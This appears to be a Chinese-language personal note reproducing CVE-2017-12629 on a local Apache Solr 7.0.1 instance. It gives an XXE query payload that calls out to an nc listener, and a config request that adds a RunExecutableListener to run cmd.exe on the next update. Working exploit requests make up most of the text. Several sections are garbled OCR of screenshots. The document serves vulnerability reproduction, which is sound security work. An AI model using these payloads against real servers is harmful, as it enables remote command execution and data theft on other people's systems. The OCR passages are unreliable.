solr

2017年10月20日

16:16

受影响的版本：

Solr 5.5.0 to 5.5.4

Solr 6.0.0 to 6.6.1

Solr 7.0.0 to 7.0.1

复现过程：

采用Solr 7.0.1进行复现。

下载地址： <http://apache.mirror.rafal.ca/lucene/solr/7.0.1/solr-7.0.1.zip>

一、运行solr

解压之后，进入bin目录，执行 solr.cmd stop -all

计算机生成了可选文字:
D八work\venus\solr\solr一7.0.1\bin>solr.clndstop一all
StoppingSolrprocesg18588rLulningonport8983
等待O秒，按一个键继续．。．

二、添加数据

访问 <http://localhost:8983/solr/>，

然后添加一个叫做solr的 collection

计算机生成了可选文字:
令
0一。‘oca,host:8983/50'r/#l一co"ec,'ons/50‘『
口
AddCollection
l，·，·」
心Reload沙
nallle:
Olr
.Dashboard
confiQset:
曰Logging
nUmshardS:1
C10Ud
ColledionS
Javaproperties
吞ThreadDump
replicationFact.1
ShOW日dvanCed曰
＼。犷Add。。：e。‘。n
de
言色函
XCancel

三、验证 xxe 漏洞

1、使用nc 本地监听 4444 端口

2、浏览器访问

[http://localhost:8983/solr/solr/select?q={!xmlparser](http://localhost:8983/solr/solr/select?q=%7b!xmlparser) v='<!DOCTYPE a SYSTEM "<http://localhost:4444/hello-liehu>"><a></a>'}

nc可以成功收到数据，证明漏洞存在

计算机生成了可选文字:
八tools\nmap一7.01>ncat.exe一Iv4444
cat:Versi。n7.01(https://nxnap．。rg/ncat)
cat:Listeningon:::4444
cat:Listeningon0.0.0.0:4444
cat:Connectionfrom127.0.0.1.
cat:Connectionfrom127.0.0.1:63153.
ET/hello一liehu盯TP/1.1
ser一Agent:Java/1.8.0_112
ost:localhost:4444
ccept:text/ht血，ilnage/gif,ilnage/jpeg,*;q二．2,*/*;q二．2
onnection:keep一alive

四、验证命令执行

1、新建一个名为Hunter的集合

<http://localhost:8983/solr/admin/collections?action=CREATE&name=Hunter&numShards=2&maxShardsPerNode=2>

2、为集合添加一个新的RunExecutableListener监听器，

其中"exe"属性内容为运行命令的名称("cmd.exe")，

"dir"属性内容为路径 C:/Windows/System32/

"args"属性内容为命令参数

计算机生成了可选文字:
CanCel
困困巨困
Target:http:Hlocalhost:8983
团匹
Response
RaW}ParamS}HeaderS}HeX
垫”毛Headers卜x}__
HTTP/1.1200OK
Content一Type:text/plain;charset二utf一8
Connection:close
,responseHeader":
,status':0
.QTime":506),
,WARNING":"Thisresponseformat15experimental.It15likelyto
changeinthefuture.'
们脚利
POST/50lr/Hunter/configHTTP八．1
Host:localhost:8983
Lser一Agent：、lozilla/5.0(WindowsNT10.0;W0W64;ry:56.0)Gecko/20100101Firefox/56.0
Accept:text/html,application八html+xml.application/xml;q二0.9,＊厂＊;q二0.8
Accept一Language:zh一CN,zh:q二0.8,en一US:q二0.5,en:q二0.3
Accept一Encoding:gzip,deflate
Connection:close
LTpgrade一Insecure一Requests:l
Content一Type:application/json
Content一Length:215
.add卜11stener":{
.event":"postCo脚it",
一name.:.newlistener'.
,class":"solr.RunExecutableListener".
,exe":"cmd.exe".
,dir":'C:/Windows/System32/.,
at-gs:
"/c',"calc．」
\
匕共面石爪瓦丽

3、更新集合"Hunter"以触发RunExecutableListener的执行。

提交更新后，等一段时间后接收到请求包。

计算机生成了可选文字:
can。：J区困巨
>.,
口
X
匕
Response
程序员
RaW}ParamS}Headers}HeX}XML
RaW}Headers}HeX}XML
POST/solr/Hunter/update
Host:localhost:8983
0
0000
User一Agent：、lozilla/5.
F1refox/56.0
Accept:*/*
Accept一Language:zh一CN
Accept一Encoding:gzip,
Connection:close
0
HTTP/1.
N
NT10.0;W0W64;ry:56.0)Gecko/20100101
HTTP/1.1200OK
Content一Type:application/xml:
Connection:close
,zh;q二0.8,en一US:q二0.5,en:q二0.3
deflate
<?xm1version二’1.0"encoding二’
<response>
Upgrade一Insecure一Requests:
Content一Type:text八ml
Content一Length:77
<lstn胡e二”responseHeader">
<intname二．status.>0灯八nt>
<intname二”QTime">13＜八nt>
</lst>
</response>
:o:
QWO
比h
Or
器
礴三眠DEcocTBIN}:E:
And
<add>
寸
CE
C
烟
shod
RM
l’户se-L．』．.........
<doc>
<f1e1dn舰e二‘authors">PatrickEagar</field>
B
7
8
9
X
</doc>
</add>
U
4
S
6
,.,，已巾j、

参考：

<http://lucene.472066.n3.nabble.com/ANNOUNCE-SECURITY-CVE-2017-12629-Several-critical-vulnerabilities-discovered-in-Apache-Solr-XXE-amp--td4359402.html>

<http://liehu.tass.com.cn/archives/861>